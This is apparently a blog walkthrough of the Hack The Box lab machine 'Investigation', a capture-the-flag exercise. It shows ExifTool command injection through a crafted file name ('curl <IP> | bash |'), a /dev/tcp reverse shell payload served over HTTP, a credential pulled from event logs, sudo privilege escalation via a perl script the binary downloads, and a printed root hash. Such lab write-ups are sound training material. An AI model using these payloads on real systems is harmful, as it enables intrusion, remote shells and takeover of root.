Skip to main content
  1. Posts/

Investigation - HTB

·8 mins
htb

We can begin with an nmap scan:

└─$ nmap -sC -sV 10.129.9.176                                           
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-21 14:00 EST
Nmap scan report for 10.129.9.176
Host is up (0.038s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 2f1e6306aa6ebbcc0d19d4152674c6d9 (RSA)
|   256 274520add2faa73a8373d97c79abf30b (ECDSA)
|_  256 4245eb916e21020617b2748bc5834fe0 (ED25519)
80/tcp open  http    Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://eforenzics.htb/
Service Info: Host: eforenzics.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.90 seconds

Add http://eforenzics.htb/ to our /etc/hosts folder. Then we can go take a look at the website:

Clicking on the button brings us to a page where we can upload files to be scanned:

Uploading a regular old image gives us no issues and shows us the output. It looks like it just runs the image through exiftool and gives us the results:

After doing some googling we can see that this version of ExifTool is vulnerable to CVE-2022-23935, which is a command injection vulnerability. This vulnerability is present in this version because the program mishandles a file check, which lets us issue commands.

If you look at GitHub for this CVE you’ll find this pretty quickly: https://gist.github.com/ert-plus/1414276e4cb5d56dd431c2f0429e4429

So, we have a pretty good idea that the website just runs exiftool on our file using the file name that we give it. So here is an idea we can execute:

  • Make an image file named 'curl <Your IP> | bash |'
  • At your IP address host a web server with python and let the index.html of that page be our reverse shell payload: bash -i >& /dev/tcp/<your IP>/<your port> 0>&1
  • Open a netcat listener on the selected port and upload the file to see if our command is executed.
└─$ cp image.jpeg 'curl 10.10.14.9 | bash |'
└─$ ls -la          
total 32
drwxr-xr-x  2 kali kali 4096 Jan 22 21:10  .
drwxr-xr-x 20 kali kali 4096 Jan 21 14:09  ..
-rw-r--r--  1 kali kali 7899 Jan 22 21:09 'curl 10.10.14.9 | bash |'
-rw-r--r--  1 kali kali 7899 Jan 21 14:06  image.jpeg
-rw-r--r--  1 kali kali   41 Jan 22 21:10  index.html
                                                                                     
└─$ cat index.html  
bash -i >& /dev/tcp/10.10.14.9/1337 0>&1

└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.10.219 - - [22/Jan/2023 21:10:57] "GET / HTTP/1.1" 200 -

We have made our file and the index page that carries the payload, now we can upload the file and get a response on our listener:

└─$ nc -lvp 1337                                                        
listening on [any] 1337 ...
connect to [10.10.14.9] from eforenzics.htb [10.129.10.219] 50162
bash: cannot set terminal process group (939): Inappropriate ioctl for device
bash: no job control in this shell
www-data@investigation:~/uploads/1674439865$ 

If you upload and run linpeas.sh you’ll see that in the /usr/local/investigation/analysed directory there are some group writable files we can try to play with:

www-data@investigation:/usr/local/investigation$ ls -la
ls -la
total 1288
drwxr-xr-x  2 root     root        4096 Sep 30 23:43 .
drwxr-xr-x 11 root     root        4096 Aug 27 21:54 ..
-rw-rw-r--  1 smorton  smorton  1308160 Oct  1 00:35 Windows Event Logs for Analysis.msg
-rw-rw-r--  1 www-data www-data       0 Oct  1 00:40 analysed_log

One of them looks interesting, so we can investigate:

www-data@investigation:/usr/local/investigation$ file 'Windows Event Logs for Analysis.msg'

file 'Windows Event Logs for Analysis.msg'
Windows Event Logs for Analysis.msg: CDFV2 Microsoft Outlook Message

You can open this in outlook or any email viewer and from there you’ll see that the email contains a .zip file and I want to see if we can get into it using a tool called evtx_dump. I decided to export the file in json data because of the tutorial I was following, but you can export as a csv or a plain old txt if you’d prefer.

└─$ sudo ./evtx_dump-v0.8.0-x86_64-unknown-linux-gnu security.evtx -o json > dump
                                                         
└─$ ls
'curl 10.10.14.9 | bash |'                   index.html
 dump                                        rev-shell.php
 evtx_dump-v0.8.0-x86_64-unknown-linux-gnu   revshell.php.jpeg
 evtx-logs.zip                               security.evtx
 image.jpeg                                 'Windows Event Logs for Analysis.msg'

Reading the file with gedit and looking around shows us the following interesting snip where we see what looks like a password:

"EventData": {
      "AuthenticationPackageName": "Negotiate",
      "FailureReason": "%%2313",
      "IpAddress": "127.0.0.1",
      "IpPort": "0",
      "KeyLength": 0,
      "LmPackageName": "-",
      "LogonProcessName": "User32 ",
      "LogonType": 7,
      "ProcessId": "0x180",
      "ProcessName": "C:\\Windows\\System32\\svchost.exe",
      "Status": "0xc000006d",
      "SubStatus": "0xc0000064",
      "SubjectDomainName": "WORKGROUP",
      "SubjectLogonId": "0x3e7",
      "SubjectUserName": "EFORENZICS-DI$",
      "SubjectUserSid": "S-1-5-18",
      "TargetDomainName": "",
      "TargetUserName": "Def@ultf0r3nz!csPa$$",
      "TargetUserSid": "S-1-0-0",
      "TransmittedServices": "-",
      "WorkstationName": "EFORENZICS-DI"
    },

Let’s try and ssh in with that password and the user group we saw we had access to earlier:

└─$ ssh smorton@10.129.10.221                                                    
The authenticity of host '10.129.10.221 (10.129.10.221)' can't be established.
ED25519 key fingerprint is SHA256:lYSJubnhYfFdsTiyPfAa+pgbuxOaSJGV8ItfpUK84Vw.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.10.221' (ED25519) to the list of known hosts.
smorton@10.129.10.221's password: 
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-137-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Mon 23 Jan 2023 03:35:13 AM UTC

  System load:  0.0               Processes:             229
  Usage of /:   59.5% of 3.97GB   Users logged in:       0
  Memory usage: 8%                IPv4 address for eth0: 10.129.10.221
  Swap usage:   0%


0 updates can be applied immediately.


smorton@investigation:~$ 

Let’s see our sudo privileges:

smorton@investigation:~$ sudo -l
Matching Defaults entries for smorton on investigation:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User smorton may run the following commands on investigation:
    (root) NOPASSWD: /usr/bin/binary

Download the file and look at it in Ghidra

int __cdecl main(int argc, const char **argv, const char **envp)
{
FILE *stream; // [rsp+28h] [rbp-28h]
__int64 v5; // [rsp+30h] [rbp-20h]
__int64 v6; // [rsp+38h] [rbp-18h]
__int64 v7; // [rsp+38h] [rbp-18h]
char *s; // [rsp+40h] [rbp-10h]
char *command; // [rsp+48h] [rbp-8h]
if ( argc != 3 )
{
puts("Exiting... ");
exit(0);
}
if ( getuid() )
{
puts("Exiting... ");
exit(0);
}
if ( strcmp(argv[2], "lDnxUysaQn") )
{
puts("Exiting... ");
exit(0);
}
puts("Running... ");
stream = fopen(argv[2], "wb");
v5 = curl_easy_init();
curl_easy_setopt(v5, 10002LL, argv[1]);
curl_easy_setopt(v5, 10001LL, stream);
curl_easy_setopt(v5, 45LL, 1LL);
if ( (unsigned int)curl_easy_perform(v5) )
{
puts("Exiting... ");
exit(0);

}
v6 = snprintf(0LL, 0LL, "%s", argv[2]);
s = (char *)malloc(v6 + 1);
snprintf(s, v6 + 1, "%s", argv[2]);
v7 = snprintf(0LL, 0LL, "perl ./%s", s);
command = (char *)malloc(v7 + 1);
snprintf(command, v7 + 1, "perl ./%s", s);
fclose(stream);
curl_easy_cleanup(v5);
setuid(0);
system(command);
system("rm -f ./lDnxUysaQn");
return 0;
}

This is what the main function looks like, here is my interpretation of what the program does:

  1. It first checks if the number of arguments passed is not equal to 3. If true, it exits the program with a message “Exiting… “.
  2. It then checks if the user’s UID is not equal to 0. If true, it exits the program with a message “Exiting… "
  3. Then it checks if the value of argv[2] is not equal to “lDnxUysaQn” . If true, it exits the program with a message “Exiting… "
  4. If all the above conditions are false, it continues to execute the program and prints “Running… "
  5. Then it opens a file using fopen function with the name argv[2] and “wb” mode and assigns the file pointer to the variable stream.
  6. Then it uses the libcurl function curl_easy_init() to initialize a handle and assigns it to the variable v5.
  7. Then it uses the libcurl function curl_easy_setopt(v5, 10002LL, argv[1]) to set the URL of the file to be downloaded to the handle.
  8. Then it uses the libcurl function curl_easy_setopt(v5, 10001LL, stream) to set the file pointer to the handle.
  9. Then it uses the libcurl function curl_easy_setopt(v5, 45LL, 1LL) to set the option to follow redirects to the handle.
  10. Then it uses the libcurl function curl_easy_perform(v5) to perform the download operation and check if it fails. If it fails, it exits the program with a message “Exiting… "
  11. Then it uses the function snprintf to write the argv[2] to a string s and allocate memory for it.
  12. Then it uses the function snprintf to write a string “perl ./” and the value of s to a string command and allocate memory for it.
  13. Then it uses the function fclose(stream) to close the file.
  14. Then it uses the function curl_easy_cleanup(v5) to cleanup the handle.
  15. Then it uses the function setuid(0) to set the user id to 0
  16. Then it uses the function system(command) to run the command.
  17. Then it uses the command system("rm -f ./lDnxUysaQn") to remove the file lDnxUysaQn.
  18. Finally, the program exits with a return code of 0.

It appears that this is a script that takes two command line arguments, downloads a file from the internet from the URL provided by the first command line argument to a file specified by the second command line argument, performs some operations on the file, and then removes the file.

It is also checking for valid user, and also check for the command line arguments and exits if any of the conditions are not met.

With all this in mind, we should be able to make a perl script that switches us to the root user with exec("su") and use the binary program to download it from our host like this:

On our host:

└─$ cat exploit.pl
exec("su")

└─$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

On the victim:

smorton@investigation:~$ sudo binary http://<YourIP>/exploit.pl lDnxUysaQn

Running... 
root@investigation:~#

Root Hash:

root:$6$8KeEz2EYMU05RVyS$W5GGqM4AHw3D1tLul.LJN2BPUhqEdflA.yCQyu7/c2PtZmbAn6qevqSaUlFyhPQbgbhFmDB00I3Of7qPep2WP/:19233:0:99999:7:::